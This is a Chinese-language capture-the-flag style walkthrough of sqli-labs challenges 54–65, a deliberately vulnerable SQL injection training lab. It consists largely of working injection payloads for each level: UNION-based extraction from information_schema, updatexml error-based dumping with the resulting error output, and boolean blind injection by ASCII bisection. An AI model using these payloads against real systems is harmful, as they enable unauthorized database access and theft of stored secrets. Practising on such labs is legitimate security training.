sqli-labs-master 54-65 Challenges
其他關卡和靶場見專欄…
文章目錄
- sqli-labs-master 54-65 Challenges
- 第五十四關-聯合注入
- 第五十五關-聯合注入
- 第五十六關-聯合注入
- 第五十七關-聯合注入
- 第五十八關-報錯注入
- 第五十九關-報錯注入
- 第六十關-報錯注入
- 第六十一關-報錯注入
- 第六十二關-二分法與like模糊選擇
- 第63關-第65關-思路都是像62關一樣,只是閉合不同而已
第五十四關-聯合注入
頁面有一串英文,翻譯之后為:這個挑戰的目的是在不到10個語句或有趣的時間內從數據庫(CHALLENGES’)中的隨機表中轉儲(密鑰),每次重置,挑戰都會產生隨機表名、列名和表數據。始終保持新鮮。 這道題只要請求超過10次就失敗了,失敗的話就重置數據庫,下面就給出答案(可能超過10步了,不管了):
- 進入界面
?id=1
- 引號探針,沒有報錯信息,判斷為報錯函數被注釋,所以不考慮報錯注入
?id=1'
- 判斷是否為數字型注入,回顯的不是1的信息,所以不是數字型注入
?id=2-1
- 確定閉合方式為單引號閉合
?id=1' and '1'='1
- 確定字段數
?id=1' order by 3 -- # ?id=1' order by 4 -- #
- 判斷回顯位
?id=-1' union select 1,2,3 -- #
- 獲取數據(每個人的數據都是不一樣的)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #
?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #
第五十五關-聯合注入
不翻譯了…
- 使用引號探針,發現沒有報錯信息,所以報錯注入用不了
?id=1'
- 使用2-1,回顯的是1的信息,所以判斷這是數字型注入
?id=2-1
- 使用order by發現沒有任何作用,所以嘗試了一下括號,發現這是帶有括號的數字型
?id=1) order by 3 -- #
- 獲取數據(每個人數據都不一樣)
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #
?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #
第五十六關-聯合注入
不翻譯了…
- 利用2-1判斷數字型,結果不是數字型
- 使用引號探針判斷閉合,發現沒有任何報錯信息,所以不能用報錯注入了111
- 判斷閉合方式,發現界面正常回顯
?id=1' and '1'='1
- 判斷是否有括號,回顯的是1的信息,所以閉合方式為引號加上括號閉合
?id=2' and '1'='1
- 判斷字段數、回顯位,并且獲取數據
?id=1') order by 3 -- # ?id=1') order by 4 -- # ?id=-1') union select 1,2,3 -- #
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- #
?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- #
第五十七關-聯合注入
不翻譯了…
- 使用引號探針發現正常顯示(單引號),這九成是雙引號有關的了。
- 使用雙引號探針發現沒法顯示并且沒有報錯(不能使用報錯注入了),接著后面添加注釋符號界面正常顯示。
- 判斷有沒有括號,使用1") – #發現沒有辦法正常顯示,所以得出這是雙引號加上括號閉合。
- 獲取字段數、回顯位,數據。
?id=1" order by 3 -- # ?id=1" order by 4 -- # ?id=-1" union select 1,2,3 -- #
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #
?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #
第五十八關-報錯注入
限制在5個語句???!!!不想翻譯了…
- 使用引號探針,發現回顯出報錯信息,這是單引號閉合,所以報錯注入有望!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
- 獲取數據!
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
XPATH syntax error: ‘~q6mi5yatt1’
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #
XPATH syntax error: ‘~id,sessid,secret_64YV,tryy’
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #
第五十九關-報錯注入
- 使用引號探針,回顯出報錯信息,判斷是數字型注入,報錯注入有望。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
- 獲取數據。
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
XPATH syntax error: ‘~djwt50t0s9’
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)
XPATH syntax error: ‘~id,sessid,secret_0MEE,tryy’
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)
第六十關-報錯注入
不想翻譯…
- 使用引號探針(單引號),回顯正常,九成是雙引號有關的。
- 使用雙引號探針,回顯出報錯信息,判斷是雙引號加上括號閉合,使用報錯注入試一下。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
- 獲取數據。
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
XPATH syntax error: ‘~ti6jxukf2b’
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #
XPATH syntax error: ‘~id,sessid,secret_U00Y,tryy’
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #
第六十一關-報錯注入
不想翻譯…
- 使用引號探針,根據報錯信息判斷這是單引號加上兩個括號閉合,使用報錯注入。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’)) LIMIT 0,1’ at line 1
- 構造閉合,獲取數據。
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
XPATH syntax error: ‘~6ze6q3awxl’
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #
XPATH syntax error: ‘~id,sessid,secret_R72X,tryy’
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #
第六十二關-二分法與like模糊選擇
這一道題限制在130條語句中,所以猜測這是盲注
- 使用引號探針發現頁面無法正常顯示,并且沒有報錯信息,所以報錯注入無效。
- 使用2-1,回顯的是2的信息所以這不是數字型注入。
- 由于使用單引號探針頁面無法正常顯示則基本可以判斷這不是雙引號,所以有可能是單引號加上括號,使用注釋符頁面正常顯示:
?id=1') -- #
- 使用Union注入結果沒有任何回顯位,所以考慮盲注。
- 獲取數據的思路。
?id=1') and if(substr(database(),1,1)='c',1,0) -- #
首先我們知道了數據庫名可以直接使用database()。由于密鑰是在A-Z和a-z和0-9中選取的,所以直接暴力破解是不可取的,對此有兩種應對方法:
- 使用模糊搜索LIKE!
- 使用二分法提高搜索效率!
- 獲取部分表名,0-9的值為48-57,A-Z的值為65-90,a-z的值為97-122,開始爆破第一個值!
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<58,1,0) -- #
通過上述語句可知第一個字符是數字:
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<53,1,0) -- #
通過上述語句可以知道它是5-9之間的:
…省略
可以得到第一個數字是5,總共使用了6個請求。
- 獲取字段名security_xxxx:獲取表名之后可以根據table_name like ‘5%’,進行模糊搜索。
總共要爆破1+4+24=28,大約要使用170個請求,剩下看天意吧。
還有一種方法直接爆破24個密鑰,就是再加2個select語句就行了,沒實踐成功純思路,做出來給我評論。
還有一些奇奇怪怪的優化方法,不想折騰了,因為0-9還有大小寫字母的ascii碼分三段,所以如果一次請求中使用if嵌套語句,假設不是數字那就讓它自動查詢字母。